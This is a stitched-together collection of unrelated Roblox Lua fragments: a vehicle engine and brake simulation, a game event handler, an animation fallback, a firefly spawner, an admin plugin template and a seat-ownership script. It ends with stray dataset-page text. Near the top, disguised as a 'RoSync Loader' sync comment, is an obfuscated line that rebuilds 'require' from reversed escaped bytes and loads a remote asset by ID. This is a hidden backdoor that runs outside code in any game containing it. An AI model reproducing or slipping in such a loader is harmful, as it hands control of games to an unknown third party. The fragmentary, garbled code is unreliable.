local LLSS = Instance.new("HingeConstraint",SSML)
RLSS.Attachment0 = SSR.Attachment
RLSS.Attachment1 = SSMR.Attachment
LLSS.Attachment0 = SSL.Attachment
LLSS.Attachment1 = SSML.Attachment
|
--[[ Last synced 4/6/2021 12:02 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- handles all the events incoming from the client
|
local keyModule = require(script.Parent:WaitForChild("Game Logic").KeyModule)
local function cleanupCharacter(char)
-- drop the tools in the spot
if char:FindFirstChild("HumanoidRootPart") then
keyModule.DropTools(player,game.Workspace.Map,char.HumanoidRootPart.Position)
print("Tools Dropped")
end
-- remove the tag from their player
if player:FindFirstChild("Contestant") then
player.Contestant:Destroy()
print ("contestant tag dropped")
elseif player:FindFirstChild("Piggy") then
player.Piggy:Destroy()
print ("piggy tag dropped")
end
end
local function onCharacterAdded(char)
-- drop all the tools that the player is holding
char.Humanoid.Died:Connect(cleanupCharacter)
end
local function onPlayerAdded(player)
-- add a tag to players when joining the game; this tag is removed when players click on 'play'
-- prevents AFK players from joining the game
local inMenu = Instance.new("BoolValue")
inMenu.Name = "InMenu"
inMenu.Parent = player
-- this function fires when the character spawns into the game (i.e. after the die / reset their character
player.CharacterAdded:Connect(onCharacterAdded)
end
|
-- Objects
|
local settingsDir = script.Settings
function getSetting (name)
return settingsDir and settingsDir:FindFirstChild(name) and settingsDir[name].Value
end
|
-- fallback to defaults
|
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
|
--Apply Power
|
function Engine(dt)
local deltaTime = (60/(1/dt))
--Determine Clutch Slip
if _TMode~="Manual" and _Tune.SlipClutch then
if _Tune.ABS and _ABS then
if _SlipCount >= _Tune.SlipABSThres then _ClutchSlip = true else _ClutchSlip = false end
else
if tick()-bticc >= _Tune.SlipTimeThres then _ClutchSlip = true else _ClutchSlip = false end
end
else
_ClutchSlip = false
end
--Neutral Gear
if ((_CGear == 0 or _Shifting) and _IsOn) then
_ClPressing = true
_Clutch = 1
_StallOK = false
end
local revMin = _Tune.IdleRPM
local goalMin = _Tune.IdleRPM
if _Tune.Stall and _Tune.Clutch then revMin = 0 end
if _Shifting and _ShiftUp then
_GThrot = 0
elseif _Shifting and _ShiftDn then
_GThrot = (_Tune.ShiftThrot/100)
else
_GThrot = _InThrot
end
_GBrake = _InBrake
if not _IsOn then
ticc = tick()
revMin = 0
goalMin = 0
_GThrot = _Tune.IdleThrottle/100
if _TMode~="Manual" then
_CGear = 0
_ClPressing = true
_Clutch = 1
end
end
--Determine RPM
local maxSpin=0
if Rear.Wheel.RotVelocity.Magnitude>maxSpin then maxSpin = Rear.Wheel.RotVelocity.Magnitude end
local _GoalRPM=0
if _Tune.Engine or _Tune.Electric then
_GoalRPM = math.max(math.min((_RPM-_Tune.RevDecay*deltaTime)+((_Tune.RevDecay+_Tune.RevAccel)*_GThrot*deltaTime),_Tune.Redline+100),goalMin)
end
if _GoalRPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_GoalRPM = _GoalRPM-_Tune.RevBounce
else
_GoalRPM = _GoalRPM-_Tune.RevBounce*.5
end
end
local _WheelRPM = maxSpin*_Tune.Ratios[_CGear+1]*fFDr
--Clutch Calculation
if _Tune.Clutch then
if script.Parent.Values.AutoClutch.Value and _IsOn then
if _Tune.ClutchType == "Clutch" then
if _ClPressing or _ClutchSlip then _ClutchKick = 1 end
_ClutchKick = _ClutchKick*(_Tune.ClutchEngage/100)
local ClRPMInfluence = math.max((_RPM-_Tune.IdleRPM)*_Tune.ClutchRPMMult/(_Tune.Redline-_Tune.IdleRPM),0)
if _Tune.ClutchMode == "New" then ClRPMInfluence = 0 end
_ClutchModulate = math.min(((((script.Parent.Values.Velocity.Value.Magnitude/_Tune.SpeedEngage)/math.abs(_CGear)) + ClRPMInfluence) - _ClutchKick), 1)
elseif _Tune.ClutchType == "CVT" or (_Tune.ClutchType == "TorqueConverter" and _Tune.TQLock) then
if (_GThrot-(_Tune.IdleThrottle/100)==0 and script.Parent.Values.Velocity.Value.Magnitude<_Tune.SpeedEngage) or (_GThrot-(_Tune.IdleThrottle/100)~=0 and (_RPM < _Tune.RPMEngage and _WheelRPM < _Tune.RPMEngage)) then
_ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100), 1)
else
_ClutchModulate = math.min(_ClutchModulate*(_Tune.ClutchEngage/100)+(1-(_Tune.ClutchEngage/100)), 1)
end
elseif _Tune.ClutchType == "TorqueConverter" and not _Tune.TQLock then
_ClutchModulate = math.min((_RPM/_Tune.Redline)*0.7, 1)
end
if not _ClPressing and not _ClutchSlip then _Clutch = math.min(1-_ClutchModulate,1) else _Clutch = 1 end
_StallOK = (_Clutch<=0.01) or _StallOK
else
_StallOK = _Tune.Stall
_Clutch = script.Parent.Values.Clutch.Value
end
else
_StallOK = false
if (not _ClPressing and not _ClutchSlip) and not _Shifting then _Clutch = 0 else _Clutch = 1 end
end
local aRPM = math.max(math.min((_GoalRPM*_Clutch) + (_WheelRPM*(1-_Clutch)),_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/(_Tune.Flywheel*deltaTime),.9)
if _ClPressing or _ClutchSlip then clutchP = 0 end
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
if _RPM<=(_Tune.IdleRPM/4) and _StallOK and (tick()-ticc>=0.2) then script.Parent.IsOn.Value = not _Tune.Stall end
--Rev Limiter
_spLimit = -((_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+1]))
if _Tune.Limiter then _spLimit = math.min(_spLimit,-_Tune.SpeedLimit) end
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
else
_RPM = _RPM-_Tune.RevBounce*.5
end
end
--Aspiration
local TPsi = _TPsi/_TCount
local _BThrot = _GThrot
if _Tune.Engine then
if _TCount~=0 then
_TBoost = _TBoost + ((((((_HP*(_BThrot*1.2)/_Tune.Horsepower)/8)-(((_TBoost/TPsi*(TPsi/15)))))*((8/(_Tune.T_Size/(deltaTime)))*2))/TPsi)*15)
if _TBoost < 0.05 then _TBoost = 0.05 elseif _TBoost > 2 then _TBoost = 2 end
else
_TBoost = 0
end
if _SCount~=0 then
if _BThrot>sthrot then
sthrot=math.min(_BThrot,sthrot+_Tune.S_Sensitivity*deltaTime)
elseif _BThrot<sthrot then
sthrot=math.max(_BThrot,sthrot-_Tune.S_Sensitivity*deltaTime)
end
_SBoost = (_RPM/_Tune.Redline)*(.5+(1.5*sthrot))
else
_SBoost = 0
end
else
_TBoost = 0
_SBoost = 0
end
--Torque calculations
if _Tune.Engine then
local cTq = NCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)]
_NH = cTq.Horsepower+(cTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
_NT = cTq.Torque+(cTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
if _TCount~=0 then
local tTq = TCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)]
_TH = (tTq.Horsepower+(tTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_TBoost/2)
_TT = (tTq.Torque+(tTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_TBoost/2)
else
_TH,_TT = 0,0
end
if _SCount~=0 then
local sTq = SCache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(0,_RPM))/100)]
_SH = (sTq.Horsepower+(sTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_SBoost/2)
_ST = (sTq.Torque+(sTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1)))*(_SBoost/2)
else
_SH,_ST = 0,0
end
_BH = _TH+_SH
_BT = _TT+_ST
else
_NH,_NT = 0,0
_TH,_TT = 0,0
_SH,_ST = 0,0
_BH,_BT = 0,0
end
if _Tune.Electric and _CGear~=0 then
local eTq = ECache[_CGear+1][math.floor(math.min(_Tune.Redline,math.max(100,_RPM))/100)]
_EH = eTq.Horsepower+(eTq.HpSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
_ET = eTq.Torque+(eTq.TqSlope*(((_RPM-math.floor(_RPM/100))/100)%1))
else
_EH,_ET = 0,0
end
_HP = _NH + _BH + _EH
_OutTorque = _NT + _BT + _ET
local iComp =(bike.DriveSeat.CFrame.lookVector.y)*cGrav
if _CGear==-1 then iComp=-iComp end
_OutTorque = _OutTorque*math.max(1,(1+iComp))
--Update Wheels
--Front
_fABSActive = false
--Output
if _PBrake and bike.DriveSeat.Velocity.Magnitude<20 then
--PBrake
Front.Axle.HingeConstraint.MotorMaxTorque=PBrakeForce*(60/workspace:GetRealPhysicsFPS())
else
if _CGear == 0 and bike.DriveSeat.Velocity.Magnitude <= 10 and _Tune.NeutralRev then
Front.Axle.HingeConstraint.MotorMaxTorque=FBrakeForce*_GThrot*(60/workspace:GetRealPhysicsFPS())
else
--Apply ABS
local ftqABS = 1
if _ABS and math.abs(Front.Wheel.RotVelocity.Magnitude*(Front.Wheel.Size.Y/2) - Front.Wheel.Velocity.Magnitude)-_Tune.ABSThreshold>0 then ftqABS = 0 end
if ftqABS < 1 then _fABSActive = true end
local brake = FBrakeForce
if _Tune.LinkedBrakes then
local bias = _Tune.BrakesRatio/100
brake = brake*bias
end
Front.Axle.HingeConstraint.MotorMaxTorque=brake*_GBrake*ftqABS*(60/workspace:GetRealPhysicsFPS())
end
end
--Rear
_TCSActive = false
_rABSActive = false
--Output
if _PBrake and bike.DriveSeat.Velocity.Magnitude>=20 then
--PBrake
_SlipCount = _Tune.SlipABSThres
bticc = tick()-_Tune.SlipTimeThres
Rear.Axle.HingeConstraint.MotorMaxTorque=PBrakeForce*(60/workspace:GetRealPhysicsFPS())
Rear.Axle.HingeConstraint.MotorMaxAcceleration=9e9
Rear.Axle.HingeConstraint.AngularVelocity=0
else
--Apply Power
if _CGear == 0 and bike.DriveSeat.Velocity.Magnitude <= 10 and _Tune.NeutralRev then
bticc = tick()
_SlipCount = 0
Rear.Axle.HingeConstraint.MotorMaxTorque=math.min((500*_GBrake)+(RBrakeForce*_GThrot),500)*(60/workspace:GetRealPhysicsFPS())
Rear.Axle.HingeConstraint.AngularVelocity=7*_GBrake*(1-_GThrot)
elseif _GBrake==0 then
bticc = tick()
_SlipCount = 0
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot
local clutch=1
if _ClPressing then clutch=0 end
--Apply TCS
local tqTCS = 1
if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(Rear.Wheel.RotVelocity.Magnitude*(wDia/2) - Rear.Wheel.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end
_TCSAmt = tqTCS
if tqTCS < 1 then
_TCSAmt = tqTCS
_TCSActive = true
end
--Update Forces
Rear.Axle.HingeConstraint.MotorMaxTorque=_OutTorque*throt*tqTCS*on*clutch*(60/workspace:GetRealPhysicsFPS())*(1+(Rear.Wheel.RotVelocity.Magnitude/(120-workspace:GetRealPhysicsFPS()))^(1.15+(.07*(1-(60/workspace:GetRealPhysicsFPS())))))
Rear.Axle.HingeConstraint.AngularVelocity=_spLimit
--Brakes
else
--Apply ABS
local rtqABS = 1
if math.abs(Rear.Wheel.RotVelocity.Magnitude*(wDia/2) - Rear.Wheel.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
if _ABS then rtqABS = 0 _SlipCount = _SlipCount + 1 end
else
bticc = tick()
end
if rtqABS < 1 then _rABSActive = true end
local brake = RBrakeForce
if _Tune.LinkedBrakes then
local bias = _Tune.BrakesRatio/100
brake = brake*(1-bias)
end
Rear.Axle.HingeConstraint.MotorMaxTorque=brake*_GBrake*rtqABS*(60/workspace:GetRealPhysicsFPS())
Rear.Axle.HingeConstraint.AngularVelocity=0
end
end
end
|
-- Spawn up to a amount of flies at the beginning
|
local Model = script.Parent
local Amount = Model.Configuration.Amount
local Fly = Model.FireFly:Clone() -- Clone a fly from the start
Model.Center.CenterPart.Transparency = 1 -- Make the center part invisible. It has no purpose when the game runs
if Amount.Value > 1 then
for i = 1, Amount.Value-1 do -- Spawn up to Amount new flies
newFly = Fly:Clone()
newFly.Position = Model.Center.CenterPart.Position
newFly.Parent = Model
end
end
|
--[[
SERVER PLUGINS' NAMES MUST START WITH "Server:"
CLIENT PLUGINS' NAMES MUST START WITH "Client:"
Hi, this is an example plugin, meaning this is only to show you how to make your own plugins!
All plugins need to be MODULE SCRIPTS! Not regular or local scripts, if its not a module script it wont work.
If you want to use events from the main admin script such as CharacterAdded, PlayerChatted and
PlayerJoined then simply look the following:
set.MakePluginEvent('PlayerChatted',function(msg,plr) print(msg..' from '..plr.Name..' Example Plugin') end)
set.MakePluginEvent('PlayerJoined',function(p) print(p.Name..' Joined! Example Plugin') end)
set.MakePluginEvent('CharacterAdded',function(plr) set.RunCommand('name',plr.Name,'BobTest Example Plugin') end)
Use set.MakePluginEvent(type,function) to add a function that gets run when the event is fired in the
main script, only CharacterAdded, PlayerJoined and PlayerChatted are currently supported.
If you want to run an admin command from a plugin, you need to use set.RunCommand(cmd,args)
EX: set.RunCommand('name',plr.Name,'BobTest Example Plugin') will run ":name Player1 BobTests Example Plugin"
NOTE: If you are running a command that needs a sending player (such as !quote, !donate, !explore, or any command that
spawns guis on the player running the command) it WILL break, the script will continue functioning fine however
the command will error and do nothing.
Plugins give you the ability to change or add things to the main script without editing the
actual script. You can add commands, functions, features, and you can use anything in the
table "set" (the main script table which contains all functions, settings, and commands.)
First off lets go over the format of commands.
Commands must be formatted in the following way:
set.MakeCommand(CommandName,AdminLevel,Prefix,{command1,command2},{argument1,argument2},function(plr,args)
print('Hello World from inside an example command!')
end)
Now lets go over each element of MakeCommand function.
CommandName - Name of the command
AdminLevel - who can use the commands (-3=FunCommand Owners+; -2=FunCommand Admins+; -1=FunCommand Temp+; 0=Any Player; 1=Donors;2=Temp+;3=Admin+;4=Owner+;5=Place Owner)
Prefix - the prefix to use (the : in :kill me) use set.Prefix to use the scripts set prefix (or set.AnyPrefix for the AnyPrefix setting)
{command1,command2} - these are commands that can be chatted to run this command
{argument1,argument2} - type of arguments (eg {"player","message"})
NumberOfArguments - how many arguments are there? (How many times to split the message?)
function(plr,args) - you need to include this, however you can change plr and args but its recommended you dont to avoid confusion.
Now that we know what each thing is, go ahead and take a look at the example command.
All the code to run MUST be in a function, as seen below, that gets returned.
Anything inside the main function will be ran by the main admin script. If you want to use
things from the main admin script use set.
For example:
return function(set)
print('hi')
end
Client plugins are EXACTLY the same as server plugins, just they run on the client instead.
Because all guis are made via the client script, client plugins also gives you the ability to
edit and make your own guis for the script that you can call using set.Remote(PLAYER,"Function","GUI FUNCTIONS")
Please note that if you want to be able to tell the client to load a gui, the gui will need to be in the client's "set"
table as it is where all the functions to be executed by the server are stored. Read over the client script to get
a better idea of how it works.
--]]
--------------------------------------------------------------------------
--Beginning of example plugin
|
return function(set) --function that the main script will run
--Lets make an example command
set.MakeCommand('Example Plugin Command',0,set.Prefix,{'example','forshow'},{'message1','message2'},function(plr,args)
print('Hello World from inside an example command!')
print('The first argument is '..args[1]..' and the second is '..args[2])
print('The player who ran the command is '..plr.Name..'!')
end)--Player chats ":example Args1 Args2"
print('Hello World from inside an example plugin!')
--makes the command "example" and prints "Hello World from inside an example plugin!"
end -- end of the main function
|
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here?
-- don't edit anything here
|
seat = script.Parent
function onChildAdded(part)
if (part.className == "Weld") then
while true do
local welde = seat:FindFirstChild("SeatWeld")
if (welde ~= nil) then
local sitted = welde.Part1.Parent
end
if (sitted.Name ~= script.Parent.Owner.Value) then
if (script.Parent.Owner.Value == "NoOne") then
script.Parent.Owner.Value = sitted.Name
else
local shipstealer = game.Workspace:FindFirstChild(sitted.Name)
if (shipstealer ~= nil) then
shipstealer.Humanoid.Jump=true
end
end
end
wait(0.2)
if (welde == nil) then
print("BreakLoop")
script.Parent.Owner.Value = "NoOne"
break end
end
end
end
|
-- NTE / Teknikk Lifts - Dot Matrix Indicator V2 --
-- SCRIPTED 25/11/17 BY OVERLOADDETECTED --
| |
--> Dependencies
|
local MobList = require(script.Parent.MobList)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.